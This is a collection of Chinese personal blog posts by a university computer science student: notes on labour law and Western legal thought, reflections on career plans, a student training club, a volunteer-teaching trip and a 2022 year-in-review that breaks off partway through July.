> “这部中华人民共和国宪法，一共四百五十二条法条，五万六千六百八十一个字，从头到尾写的不就是四个字，公平正义吗？这难道不是每一个老百姓想要的吗？”
>
> “什么是法律？是天理，是国法，是人情”
>
> ——《第二十条》

法律作为一种社会规范，其研究的基本范畴是权利（自由权、请求权和诉权）与义务（应当作出和不得作出某种行为的界限）。法律以国家强制力为后盾，保障公民权利的同时约束公民的社会行为，其最终意义是实现每个人心中对公平正义最朴素的期待。

需要明确的一点是——法律是一个**集合**概念，而不是一个个体元素概念。例如根据位阶不同，在我国可以分为宪法、法律、行政法规、地方性法规、本级和下级地方政府规章，再比如根据法系不同，可以分为民法法系、普通法系、社会主义法系。

法律纷繁复杂，本 blog 作为一个记录性的文章，只想以《劳动法》、《西方法律思想史》的课程脉络作为一个切入点，分享笔者的学习体会，既不力求也无能力对法律进行一个全面系统的介绍，下文如有错误，恳请读者批评指正。（獬豸和正义女神分别是中西方法律形象的代表，图片源自 [Wikipedia](https://zh.wikipedia.org/wiki/%E6%B3%95%E5%BE%8B)）

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F3og1hmeeBbfvKTtIt5FG%2Fimage.png?alt=media&amp;token=05944ce8-3f9f-484d-b1a0-b723f188fd82" alt=""><figcaption><p>獬豸</p></figcaption></figure>

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FIQoGLgDEyjzeXfAikA2K%2Fimage.png?alt=media&amp;token=108bf0fa-79a3-49b8-a37d-5fcb65c21250" alt=""><figcaption><p>正义女神</p></figcaption></figure>

## 劳动法

劳动法要求先修三门前置课程：法理、民法、行政法。作为一个法律小白，紧急自学舒国滢的《法理学导论（第二版）》、b站李建伟老师的民法、b站李佳老师的行政法，打下一点法律基础。

### 对法理、民法、行政法的基础认知

法律的研究对象是法律制度和社会现实的双向关系，关注“价值性事实”。而法理学是从内部视角看待法律，法理学的研究对象是：法和法学的一般原理、法律原则、法律制度及其机制，笔者粗略将法理梳理成本体论、价值论、认识论、方法论四块。

| 划分  | 内容                                                            |
| --- | ------------------------------------------------------------- |
| 本体论 | 从应然法和实然法的区别讲起，再介绍法的特性、基本范畴，说明不同法系的区别                          |
| 价值论 | 从时间效力、空间效力与对人效力三部分说明法的效力                                      |
| 认识论 | 提出了 n 多概念，如法律规范、法律规则、法律条文、法律原则、法律行为，尝试从规则、行为和关系三方面来说明法律的组成和作用 |
| 方法论 | 介绍立法、司法、执法的过程                                                 |

民法调整的对象是平等主体之间的财产与人身关系。民法属于私法的范围，其最大的特征是**意思自治**（民法当中 97% 以上是任意性条款），说简单一点儿就是只要双方当事人愿意，爱怎么整怎么整，谁也管不着。

行政法作为一个管政府的法，最核心的事情是**控权**，因为行政法要处理的事情总结起来就六个字：官管民，民告官。

### 课程脉络与学习体会

课程教材是马工程出版的劳动与社会保障法学（第二版），这门课分为两部分，第一部分讲劳动法，第二部分讲社会保障法。但由于课时原因，仅讲授了劳动法部分的内容。

先来看看劳动法的概念：劳动法是法律体系中的劳动法律部门，即调整劳动关系以及与劳动关系密切联系的其它社会关系的法律规范的总和。与劳动法直接关联的法律只有两部：

* [中华人民共和国劳动法](https://www.gov.cn/banshi/2005-05/25/content_905.htm)
* [中华人民共和国劳动合同法](https://www.mohrss.gov.cn/xxgk2020/fdzdgknr/zcfg/fl/202011/t20201102_394622.html)

通过阅读法条，易得劳动法要处理的是劳动者与用人单位之间的权利义务关系，因此本课程研究的法律主体是（劳动者，用人单位），课程顺理成章就从劳动是什么开始讲起，而后介绍劳动关系、劳动的主客体，再到就业、劳动合同，最后说明什么是劳动监察，发生劳动争议又该如何处理。

学习过程中，就业以及劳动合同这两部分给笔者留下的印象最深，因为这俩部分与生活密切相关。作为一个人，首先要考虑生存需求，为了满足生存需求，需要通过就业得到一个工作机会，让渡自身劳动力的使用权来获取劳动报酬，从而依靠劳动报酬活下去。那么如何就业？就业要考虑用人单位、劳动者的资质（e.g. 聘用 16周岁 以下公民是违法行为），在双方资质达标的条件下，一般来说，劳动者会通过招聘信息了解用人单位的用工需求，主动向用人单位投递简历表达求职意向，而后用人单位通过笔试 / 面试决定是否录用某位劳动者。在僧多粥少的市场环境下，难免出现用人单位对劳动者的歧视（比如性别、籍贯、宗教信仰），由于客观上用人单位是更加强势的一方，劳动者对此并无太多反抗的手段，因此国家出手干预就业市场（比如[“反就业歧视”](https://www.ndrc.gov.cn/fggz/jyysr/jysrsbxf/202204/t20220427_1323414.html)）主持公道。

略过求职过程中的其他事情，假设劳动者此时成功获得 offer，下一步便是签订劳动合同。劳动合同一般分为书面、口头和推定三种形式，为保证双方的利益，最好的情况当然是签订**书面**劳动合同（白纸黑字胜过千言万语）。在劳动合同的订立阶段，用人单位和劳动者都负有**缔约告知义务**，这里面涉及到个人隐私保护等等问题故暂不展开。值得一提的是，劳动合同条款分为法定必备条款和约定必备条款，在签合同时得擦亮眼睛，看看合同中是否遗漏了法定必备条款， 若遗漏了得及时向用人单位提出，否则后续再追补确认相关条款的效力很麻烦。签订了劳动合同后，并不是万事大吉，一切都能顺风顺水按照合同约定走下去，由于工伤、四期（经期、孕期、产期、哺乳期）、“世界很大我想去看看”等一系列情况，合同的状态会发生转变，如中止、变更、承继、解除、终止，倘若一个不小心没处理好，很有可能与用人单位发生劳动争议，进而要通过协商 / 劳动仲裁 / 起诉等方式解决。

总的来说，劳动法 / 现实世界情况过于多变，学点儿法有助于增长对社会的认识，对自身从学生到社会人的社会化转型是有所帮助的。（补充一个很有趣的案例：

* [某宝买到扩容 iPad，我让卖家「退一赔三」](https://sspai.com/post/67209)

## 西方法律思想史

### 课程脉络

课程按照时间顺序，将历史划分成古代、中世纪、近代、现代、后现代五个时期，每个时期选取几位名人大家，展开介绍其学说思想。整体的脉络可参考下图：

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FzXcfHwhT0I7IxUfTK2Ai%2Fd3adb50e049a10c5b5b1ce4c174dd58.jpg?alt=media&amp;token=edea0b24-3774-44b6-8346-7000ea89e6ed" alt=""><figcaption></figcaption></figure>

### 学习体会

偷个懒，直接摘录笔者的结课论文：

如果把对法律的认知分为“感受、观点、观念、学派”四个层次，那么作为非法学专业的学生，新年期间欣赏的《第二十条》这部法律电影，极大地丰富了自身对于法律第一个层次的认知。

电影最后，检察官韩明在听证会上诸如“法不能向不法让步”、“我们办的不是案子，是一个人的人生”的发言，发人深省的同时不禁让人追问法律是什么？法律作为一种社会规范，其研究的基本范畴是权利（自由权、请求权和诉权）与义务（应当作出和不得作出某种行为的界限）。法律以国家强制力为后盾，保障公民权利的同时约束公民的社会行为，最终意义是实现每个人心中对公平正义最朴素的期待。

“立法者应如哲学家般思考，如农夫般言谈。”耶林的这句名言是一个深刻的法学思想，强调了立法者在制定法律时，既要有深邃的思考，又要贴近生活实际。然而，在现代中国的立法实践中，尤其是以学者为主导的立法实践，似乎并未完全践行这一原则。许多学者过于注重理论的严密性，而忽视了实际应用中的可操作性和现实性，导致了法律条文在现实中难以操作，甚至与社会实际脱节。这样的法律不仅不能有效地保护当事人的权利，反而可能成为权利实现的障碍。

一个例证便是2003年苏力对“奸淫幼女罪”直言不讳的批评：“我的分析结论是，这种错误主要来自的一方面是对部门法操作理论的过度信任和缺少学术的多样性，另一方面则来自对社会真实世界的不理解甚至是有意的忽视；而这背后，则反映出最高人民法院对自身作为最高上诉法院的功能定位模糊和专业知识装备不足”\[1]。

当然，我们不必因此灰心丧气，广东省佛山市顺德区人民法院(2020)粤 0606 刑初 2648 号这份判决书，证明了敢于突破僵化刻板的法学理论束缚还是大有人在。案件的客观事实是：2020年5月28日22时50分许，被告人何某驾驶一辆无号牌普通二轮摩托车行驶至佛山市顺德区陈村镇112省道文登路路口时，被执勤民警查获。经查，何某无摩托车驾驶资格，且血液中检出乙醇成份，含量为99.2mg/l00ml。公诉机关指控被告人何某犯危险驾驶罪，建议判处拘役一个月，并处罚金。而法院从刑法的谦抑性原则、司法实务、法律衔接等方面据理力争，认为被告人何某虽然酒后驾驶机动车，但其行为的社会危险性并未达到需要动用刑罚来规制和惩处的程度，最终判决被告人何某无罪。

为了探讨耶林的《为权力而斗争》\[2]，不妨先回顾一下19世纪的法律背景。19世纪的欧洲，尤其是德国，正处于法律体系的大变革时期，根据张晓辉的研究，这一时期的法律人类学学术史反映了西方法律思想从辉煌到沉寂的变化\[3]。舒国滢指出，德国“学说汇纂”体系的形成与发展，标志着欧陆近代法学知识谱系的建立，但同时也暴露了过于依赖理论体系的问题\[4]。陈华彬则强调，19、20世纪的德国民法学在强调系统化和科学化的同时，也需要更多关注实际应用和对社会现实的回应\[5]。

为权利而斗争就是为法律而斗争，推动权利人为权利而斗争的是法感情，这些都是权利心理学，其精髓体现在“牺牲一种被侵害的权利是怯懦的行为，人们的这一行为招致耻辱，招致对共同体的最大损害；为权利而斗争是伦理的自我维护的行为，是一种对个人自己和集体的义务”。通过对耶林法律思想的探讨，我们可以更加深刻地理解法律应有的本质和使命。法律不仅是规范社会行为的工具，更是维护社会正义的保障。在制定法律时，立法者应当充分考虑社会实际需求，确保法律能够真正保护公民的权利，而不是成为一种形式化的束缚。

简单来说，在尽义务的同时也要享权利，避免出现马丁•尼莫拉提到的“起初，纳粹抓共产党人的时候，我沉默，因为我不是共产党人。 当他们抓社会民主主义者的时候，我沉默，因为我不是社会民主主义者。 当他们抓工会成员的时候，我沉默，因为我不是工会成员。 当他们抓犹太人的时候，我沉默，因为我不是犹太人。 最后当他们来抓我时，再也没有人站起来为我说话了。”

参考文献

\[1] 司法解释、公共政策和最高法院——从最高法院有关“奸淫幼女”的司法解释切入

\[2] 耶林：为权利而斗争

\[3] 张晓辉 | 辉煌与沉寂：19世纪西方法律人类学学术史述评

\[4] 19世纪德国“学说汇纂”体系的形成与发展基于欧陆近代法学知识谱系的考察 舒国滢

\[5] 陈华彬：19、20 世纪的德国民法学

&#x20;


# 悟已往之不谏 知来者之可追

### 前言

在暑假的前期，先是学校的小学期，而后去支教。现在马上又要返校集训，导致真正意义上的假期只有 18天。假期虽好，转瞬即逝。结束这个假期，笔者即将迎来大三生活。处在大二升大三的这个时间节点，难免追问自己：大学两年学会了啥？以后能干嘛又想干嘛呢？

要回答这个问题，得先解决一个前置问题：上大学的意义在哪呢？

### 上大学的意义

回想刚上大学时，是标准且纯种的一枚愣头青，完全不知道上大学要干嘛，继承自高中的惯性 push 着笔者好好学习。可惜天赋有限，学习成绩惨不忍睹，但也就在大一那年无数次的自我怀疑中，打通了自身探索的任督二脉，渐渐想明白了来大学究竟是来干嘛的。

上大学重要的不再是学习书本上的知识，去应试获得高分，而在于去大胆探索，找到自己喜欢且擅长的领域垂直耕耘。因为大学为我们提供了一个很好的平台，同时相比于高中我们也有更多可支配的时间，我们可以利用这些时间在这个平台上去闯，去试错，在一次又一次的体验中完善三观，强化沟通能力与团队合作意识，为日后成为一名合格的“社会人”打下基础。

基于上述理念，笔者在大学坚持做三件事：1.尽可能去探索。因为在大学试错成本低，就算彻底失败，也无非投入一些时间和精力，不至于说失败了明天醒来就得饿肚子了。而且探索新领域总是乐趣横生的，比如玩飞盘、看脱口秀、独自旅行……在大学能尝试以前没机会体验的新鲜事物，这很有意思。回到专业学习上也是一样，上大学之前完全不懂计算机，对其无感。大一玩了一年后，对计算机的态度从“无感”变成“不讨厌”，再到最近慢慢觉得计算机还是有点意思的；2.多读书。借助别人的视角，既完善对世界的认知，也能让自己变得更宽容；3.锻炼身体。“身体是革命的本钱”这是真理，投入时间把身体搞好，稳赚不亏。而且锻炼能给自身正反馈，有助于“负载均衡”。

至此小结一下，来上大学的意义在于：拓展朋友圈与优秀同龄人交流、建全三观、获得文凭。对于笔者而言，待大学四年毕业后，拥有一定的专业知识和认识世界的基本方法论，有成为优秀“工程师”的追求，有一个好的身体，大学这四年就不算虚无。

### 敢问路在何方？

明确了上大学的意义后，就可以继续探讨开头提出的问题：以后干啥呢？

其实也挺简单的，无非就是以下三条路：

1. 出国 / 保研 / 考研 → 升学；&#x20;
2. 体制外 → 进厂打工；
3. 体制内 → 考公上班。&#x20;

受电视剧影响，笔者对官场不太感冒。即便侥幸能通过考公那千军万马过独木桥的考试，那种上班第一天就能一眼能望到二十年后的生活，实在不是笔者心之所向，加之家中无背景支持，所以对于上述第三条道路就不加以考虑。以下主要来考虑第一条与第二条道路：

#### 升学？

可以先来听听某教授对于学士、硕士、博士能力要求的评价：

丢出来一个问题，学士能根据现有方案加以修改、调试以符合问题要求就行了，硕士需要想一些创新的 idea 去解决，而博士需要能先学到该问题涉及领域的人类知识边界，然后尝试加以拓宽。 如果胸怀伟大抱负，立志于为人类做贡献，那么去升学是个很好的选择，可以继续安稳地在学校里专心研究某一科学问题。但如果纯粹为了升学而升学，目标直指那顶 Master / Doctor 帽子，那么得投入 3\~5年 的时间，死磕某领域，磕出一篇能让你毕业的论文，这无疑是一种折磨。

以上纠结的点可以归结为：自己到底喜不喜欢科研？

笔者至今已在实验室度过了一年半的时光，仍处于一种“无感”的状态。喜欢研究吗？确实也还可以，这个过程痛并快乐着。喜欢看 / 写论文吗？just so so。若是升学，每天看论文、写论文、跑实验这三点一线的生活自己真的乐意吗？自己做的这些工作真的有意义吗？

很遗憾笔者还没有明确的答案，只能说升学处在可接受的范围内，但并不是最想干的事。

如果选择升学作为自己的目标，那么方式有：出国、保研、考研。考虑到家庭情况 & 前期无准备，先将“出国”这条路 pass。保研的话，鉴于大一的成绩着实拉不动，保研无望。

至此，升学这条路柳暗花明，考研去吧！

#### 进厂打工？

先搜集一波公司的招聘资料，对“信息安全工程师”的要求整理如下：

扎实的计算机基础：数据库、操作系统、网络原理； 熟悉 C / C++ / Python / Java / PHP / Go 等至少一种开发语言； 熟悉漏洞挖掘、网络安全攻防技术（渗透、反汇编、逆向、调试）、加密解密算法； 比赛经验（CTF） / 代表作品。 自我审视后，发现笔者的能力是达不到要求的，至于毕业前能否达到这很难说。加上此番回家，探查了一番就业情况，本科毕业的竞争力还是不够强（top 毕业的佬另说，归根结底还是自己太菜了，菜是原罪），不管是进银行 / 厂，要么被卡学历，要么薪酬方面着实有待提高。现在总体大环境是经济下行，各公司大刀阔斧裁员，以前本科毕业 20w 是白菜价，现在硕士毕业能拿到这个价都得偷着乐了。

几位业内前辈给出的建议是：本科毕业能去大厂就去，不能去还是别去小厂，一是不稳定，二是上升空间着实有限。

综上，总结发展思路：本科毕业能进大厂就进，不能的话就考研去！

End


# 在自训队，是一种什么样的体验

自训队，是 HNU 的一个半军事化半学生社团。每周组织五次训练。作为受训者，每周需投入 12h 左右的时间参加训练。客观来说，这是一笔不菲的时间开销，但它是一把双刃剑，在占用可利用时间的同时，督促你提升对时间的敏感度，从时 → 分，进而成为真正的**时间管理大师**。

“吃别人吃不了的苦，看别人看不到的风景。”队长的这番话，已经成为了自训队的至理名言。初听时，将其归类为鸡汤。此刻再品，恰如其分。周二的晚体能、周四的特殊训练、周六的早训和综合训练、周日的晚点名，每一次参训都能体会到不一样的精彩。在锻炼身体的同时，看到了**彩色闪电**、体验过**雨中奔跑**、感受到**素质拓展**……

在参加了一个学期的训练后，最初的新鲜感已经退去，每次训练前都能大差不差地猜想到接下来会发生什么，身体上的疲惫与精神上的乏味逐渐消磨了训练的动力。特别是在周六早上的五点半，每次逼迫自己爬下床参加早训，都会质问自己究竟是为了什么？难道和舍友一起睡大觉不舒服吗？难道有更多的空闲时间不香吗？非要去荫马塘喊口令、练队列，这不是有毛病吗？

我不知道是什么在支撑着我。\
也许是身上的一身迷彩，也许是亲爱的战友，也许是温柔友善的连指，也许是因为自己的强迫症，没有半途而废的习惯。

这个问题，也许换一个方式问会更好：**为什么**要来到自训队？\
在最开始，加入自训队是一时产生的冲动，是直觉告诉我要去这么做的，是一种超越语言描述范围的灵魂的渴望。现在，答案变了，加入自训队不再是简单的冲动，而是因为它成为了我在大学里的家，一个置身其中能感受到温暖的大家庭，它演化成了我的精神殿堂。无论遇到了什么样的困难，在参加训练的时候，都可以将其搁置一旁，并在训练中宣泄自己的情绪。训练后，再去解决这些困难，往往能取得事半功倍的效果。

最后想说的是，**我从来没有后悔来到自训队**。去年秋天，抱着试错的心态来，今天春天，收获颇丰。自训队教会了我追求卓越，这一切不是靠嘴巴说而是靠实打实地做，行胜于言在自训队体现得淋漓尽致。我想，当我离开 HNU 的时候，我不会记得所谓的高数、大物或者专业课的成绩，但是清晨荫马塘响彻云霄的“湖大脊梁，自训自强”，与四连“笔耕九派，剑啸中天。赤霄四连，一以当千”的口号声，我会记在心里一并带走。说不定多年后，若有幸能再次见到这样的情景，泪水一定会流淌在我的脸庞。

> 自训队，五周年快乐！

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Ff5GIQ15IuVzX7r9XCQVf%2F1caefff1b7cdf82bb05c75e99228a39.jpg?alt=media&amp;token=34a62f24-f77a-4d05-bae0-f86c9be74a62" alt=""><figcaption></figcaption></figure>


# 支教

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FKpKfUYobTQFhvk6aKFmv%2Fbe152db4a980446ad94c1b9ea0dfc8d.jpg?alt=media&amp;token=79d082f1-6cf6-4e57-b6b2-562bc49a3b7c" alt=""><figcaption></figcaption></figure>

支教结束，返程。

一群人因为支教相聚，如今支教结束了，这群人的故事也要暂告一段落了。本次支教是我参与过人数最多的 teamwork 了，很幸运团队化学反应非常好，所以这十五天的支教生活总体上过得很是舒心。

现在问问自己为什么选择参与此次支教，能给出的答案是：践&#x884C;**“想做就做，做就做好”**&#x7684;理念。在一开始，并没有很强烈的意愿说一定要去支教，只是看到有这么一个机会，抱着试一试的心态报了名，通过三轮培训，入选竹巷支教队，故事就这样开始了。

到了竹巷之后，生活条件并没有预期的那么艰苦，有床板、淋浴花洒、风扇，还有食堂爷爷奶奶负责解决我们的伙食。我在竹巷主要负责授课、排课表，经历过初期混沌无序的探索过程后，这两项工作进展得也还挺顺利的，基本没有遇到超出自己值域范围的事情。

那么也许你会好奇，在竹巷的生活具体是什么样的呢？请阅读下列例子：

“嘭嘭嘭”宿舍楼下又响起了篮球击地的声音，我踢开被子，翻身拿起手机一看，6:30，好家伙又是规律作息的一 天呢。心想着既醒之则安之，麻溜起身穿衣洗漱准备吃饭。 在前往食堂的路上，抬起头映入眼帘的不是拔地而起的高楼大厦，而是由洁白云朵点缀着的碧蓝天空，这种与自然为伴的感觉令我倍感舒适。

吃完饭准备授课，从办公室中拿出五个篮球摆在篮球架下，戴上独属体育老师的哨子，等待上课铃声响起。“咱们先点个名，然后跟以前一样，先热身……”在给孩子们教授篮球的这十五天里，我发现大部分孩子不仅体能很好，而且球性也都不错。 他们缺少的只是一个机会——接受专业指导的机会。如果能给这群山里的孩子们这样一个机会，我相信他们在篮球方面至少能跟城里的孩子们做得一样好。

在授课的过程中，我发现了一个特殊的孩子，Ta 的面部表情始终是紧张的，眉毛总是成川字形，在与 Ta 发生眼神交流的一瞬间，Ta 会下意识地躲避。很难想象这个孩子究竟有什么样的过往，导致了 Ta 现在的行为表征。作为 Ta 生命中的一个过客，我能做的只是尽可能给 Ta 一些鼓励，去治愈 Ta 内心中极小一部分的创伤。默默祝福 Ta，“人生实苦， 但请足够相信”。

除了教授篮球以外，我还负责教一些关于计算机的内容。计算机课上的一幕也让我印象深刻。那时，我对着希沃白板一通讲解《王者荣耀》的技术原理，在转头的那一刻，我看到所有的孩子都齐刷刷看着我，他们那种**好奇、渴求**的眼神，我起码有两年没有在别人身上看到过了。对照自身以及周边的同龄人，大部分人都埋头卷绩点，为了学习而学习，很少有人关心真理。所以这次支教其实是一次双向的教育，我教孩子们一些知识，孩子们提醒我别忘了学习的初心。

在竹巷，白天的时间主要花在陪伴孩子们上，到了晚上往往是大家围坐在一起，开始今天的 chatting time。在恰到好处的灯光烘托下，大家暂时关闭与互联网的连接，投入到线下的“吐槽大会”，分享自己的故事、人生感悟。已经数不清这短短半个月里，有过多少次夜聊的经历了。只记得办公室里、乒乓球桌上、走廊边都回荡过我们的笑声，大家敞开心扉畅所欲言。大家之间真挚的感情，连带着星空与晚风， 构建出我心里的竹巷之夜。

在竹巷的日子里，于我个人而言，既是老师又是学生。因为要给小朋友们上篮球课、计算机课，所以有老师的身份。但同时更为重要的是，向同来支教的各位伙伴学习如何为人处事、听他们分享关于某些事情的见解，所以我亦是学生。一同去支教的伙伴中，既有来自黄冈中学、东北育才、衡水一中等超级中学的同学，也有留学海外的朋友，这些同龄人是如此的优秀，以至于听他们为某些事情辩论，都成了一种享受。此次行程再次印证了我之前的想法，大学最重要的作用是提供了一个**平台**，让我们能接触各种各样的人，听到不同的观点，从而使我们的视野宽广、思维活跃，为我们踏入社会做一些铺垫。

再说回竹巷，这所白云镇上的小学，借徐志摩的《再别康桥》加以描述真是太贴切了：

> “悄悄的我走了，正如我悄悄的来；我挥一挥衣袖，不带走一片云彩。”

竹巷的故事就这么平淡地结束了。希望这半个月的陪伴，给孩子们带去了一份温暖，能为他们的成长轻轻推开那么一扇窗。

就这样吧，云边的竹小巷，后会有期！


# A passion for difficult and novel problems

**Thanks for Professor Xiao**

Until today, I know why I come for HNU while not stay at home. Because there have someone who guide me the way to the difficulty. That must be hard but fun!!!

I come here for solving problems, challenging limits. That's the goal I will devoted all of myself to finish, and there are so many charming problems in the world of computer science, that's enough!

OS, Computer Networking, CSAPP in this semester, let's go!!!

**"Education is not filling the bucker of water but lighting a fire!"** And then we have the power to make great achievements.

<br>


# 2022，我的年度总结

*马上要过新年啦，又要长大一岁。人生不过匆匆几十载，还是值得花点时间回忆一下过去一年发生的点点滴滴。谨以此文纪念过去的 **2022**🎞️*

### 一月

南方的孩子第一次看到雪是真得很激动。雪人也不再仅仅停留在电视屏幕上，穿过了虚无，变成了真像，我眼中倒映着的像。

此时正值期末周，大一上学期的期末考试，考试强度：五场考试 / 十天，不得不说真是太轻松了。每天早起去图书馆复习，下午躺在沙发上看杂志 / 书籍（《刑警江湖》与《弹在膛上》真好看嘿嘿），晚上回宿舍激情打牌，那段日子真是充实啊哈哈哈。

记得有一天晚上去 MC 吃饭，碰上了[学委吴](https://skywt.cn/)，我们一拍即合，怀揣着“去 TM 的考试吧，我们要去玩啦”的想法，骑了四公里的共享单车，前往北校一探究竟，回来还在公寓门口美美地吃了一顿烧烤。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FBGclnzgzealsG5UTBWik%2FIMG_20220112_223705.jpg?alt=media\&token=006577c3-82c6-4071-b7fc-d841d8eaf08b)

还是在[学委吴](https://skywt.cn/)的指导下，开始走上了“购买服务器，搭建博客”的漫漫折腾之路。

也是在这一时间和[学委吴](https://skywt.cn/)合作完成了程设的大作业，第一次接触了 github、LaTeX、nodeppt 等一系列对我来说十分新奇的东西。[学委吴](https://skywt.cn/)真是我最好的 CS 专业老师了。

之后就回到了俺的老家福建永泰，开始了愉快的玩耍之旅。试问，谁能拒绝精灵宝可梦的诱惑？？

感谢县团委的大力支持，体验了一把~~领导视察~~(包工头)的感觉，游览了一些工程，很开心看到了家乡近些年的发展。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FEUEOMSuaEb6zmbdoTR6O%2F-1720ebceea40ffb2.jpg?alt=media\&token=4e11c4b4-bfda-42b7-b071-6c1051eb8eae)

当然也还有必不可少的老友聚会环节，能看到那么多熟悉的面孔，不禁感叹回家真好！\
回家期间看了一些书，犹记得其中一段浪漫的话：

> “谁实为之？”是我情愿，是你心许？\
> 朋友，开始结局之间，\
> 演了一出浪漫的悲剧。

“告别2021 拥抱2022”

***

### February

二月伊始，开始了一项社会调查。真正去做了一些访谈，实地去看了看乡村的生产建设、生态环境，了解了社会运行的一部分，总体来说做这件事还是很有意义的。

时间一天天过去，发现寒假还是太短了，老友刚见面就要说再见，唏嘘这岁月不留情。这个寒假让我坚定&#x4E86;**“人是最珍贵”**&#x7684;价值观，也难怪我们中国人常说“家和万事兴”，人是这世间最宝贵的东西，人与人之间真挚的感情是任何东西都无法替代的，现在想想这也许是我后来加入自训队的一个契机。

从 2.24 正式开始了我的博客记录！

***

### Mäerz

来到三月，就不得不提 3.8 了，这一天实在是太重要了！

1. 正式加入了 Xiaolab，开始可视化研究，第一次认真研究论文；
2. 召集咱们班的男孩给女生送花；
3. 完成了刷乐跑、洗澡、前往德图三事合一只花四十五分钟的壮举。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FwfQSMPHMsZl4xLQBgNRM%2FIMG_20220308_233817.JPG?alt=media\&token=3187550a-4f2d-4188-9a51-38256fc1b35e)[![2023-01-18T16:00:09.png](https://bkcat.cn/usr/uploads/2023/01/4005115590.png)](https://bkcat.cn/usr/uploads/2023/01/4005115590.png)

3.13 阳光正好，和同学们愉快地骑行，前往在 CG 胡作非为的**松雅湖**。![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FBuhyEHB0SJ4PakWSzkUy%2F%E5%A4%A7%E4%B8%80%E4%B8%8BIMG_20220312_123857.jpg?alt=media\&token=ad81642c-eb57-4d58-be04-c8859eae4d07)

在月末，一则**原地静止**的通知，开启了为期两周的封校生活。

***

### apríl

在宿舍逐渐演化成棋牌室的过程中，本人立下了汗马功劳，并完成了“一晚四把要啥来啥 carry 全场”的惊人壮举。经宿舍人大——百草园的一致认可，本人正式加冕为 437 周润发（限时 24h）。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F7sdJX70sul22PmbZGoa5%2F%E5%A4%A7%E4%B8%80%E4%B8%8BIMG_20220402_233415.jpg?alt=media\&token=a7a21ff0-6756-4a07-8d8d-973c142b1c44)

在 4.10 解封的中午吃了 KFC，看到街上熙熙攘攘，感觉自己重回人间。

在封校期间和 crush 聊得挺欢乐的，用实践诠释了“凌晨两点不睡觉，想睡也睡不着”。很可惜，一切都在 4.13 落下来帷幕啦，也许正如她所说“有些人就是用来错过的。”

当 lab 安排的可视化任务取得阶段性胜利后，终于能稍微放松一下啦，前往【空中花园】小酌一杯。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FilIoRv7HZ9lRZbk98q8Z%2F%E5%A4%A7%E4%B8%80%E4%B8%8BIMG_20220421_191712.jpg?alt=media\&token=1cadf197-4026-450f-8c42-808d29e30783)

***

### Peut

迎来了高中母校的一百二十周年校庆，百二十载风华正茂！！一中，是我魂牵梦萦的地方。[![2023-01-18T16:22:09.png](https://bkcat.cn/usr/uploads/2023/01/1539598880.png)](https://bkcat.cn/usr/uploads/2023/01/1539598880.png)

依旧是和[学委吴](https://skywt.cn/)一起出去玩，这次我们去听音乐会，**国乐正当燃**，fancy！

正式入坑 linux，linux 地表最强 OS。认识到技术真的能改变世界，种下了对技术向往的种子。

***

### Июнь

期末考试结束，去后湖跑步，想起一次高三清晨一个人在操场跑步的情景。那时候遇到了一位中年男子，他走上前来夸我“小伙子常看见你，挺会坚持”，那番话真是对我莫大的鼓舞。这段时间慢慢爱上了跑步，因为跑步的时候可以什么也不想，暂时忘却一切烦恼。跑完出一身汗，体内产生的内啡肽也会提供一种正反馈，使人心情愉悦。当然，也要感谢我的跑步教练张，传授给我科学的跑步方式，并以身作则，带我训练，使我的配速有了较大的提升。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FIu64k7yOc2DKoegiSehi%2FIMG_0031.JPG?alt=media\&token=0694469f-0dc4-4f30-9ffc-cb0ca364f13b)[![2023-01-18T16:29:24.png](https://bkcat.cn/usr/uploads/2023/01/1474799481.png)](https://bkcat.cn/usr/uploads/2023/01/1474799481.png)

考试完了，闲来无事继续学习哲学。哲学王子、复旦教授王德峰真是太 NB 了，直接刷完了他在 b站 的[系列视频](https://www.bilibili.com/video/BV1Mg411g7C8/?spm_id_from=333.337.search-card.all.click\&vd_source=68401e073d6cf69f6f72f1ad56c67eaf)。他能把中国传统的儒释道讲得深入浅出，并且将中西方文化进行了详细的对比。除了服也没啥好说的了。

与高中敬爱的数学、物理老师在长沙相聚，真是无比奇妙的体验，倍感亲切，原来这就是“老乡见老乡，两眼泪汪汪”嘛。

没想到期末考试完，后面还有小学期埋伏着我。每天 >= 六小时高强度 CG 训练，可惜后来的 CSP 还是没过哈哈哈，还是太菜啦。不过我觉得也挺好的，摔一下跟头记忆深，时常的敲打提醒我要时刻保持谦卑。

***

### जुलाईमाह

暑假开始，和两位好友进行了一场两天一夜的小旅行，逛了一圈长沙！

回到家乡，考完了驾照，与朋友们吃了几顿饭，然后开始每天的图书馆与锻炼两点一线，曾痴迷于爬虫项目与论坛项目的学习，也曾厌倦到不想再触及相关的任何东西。\
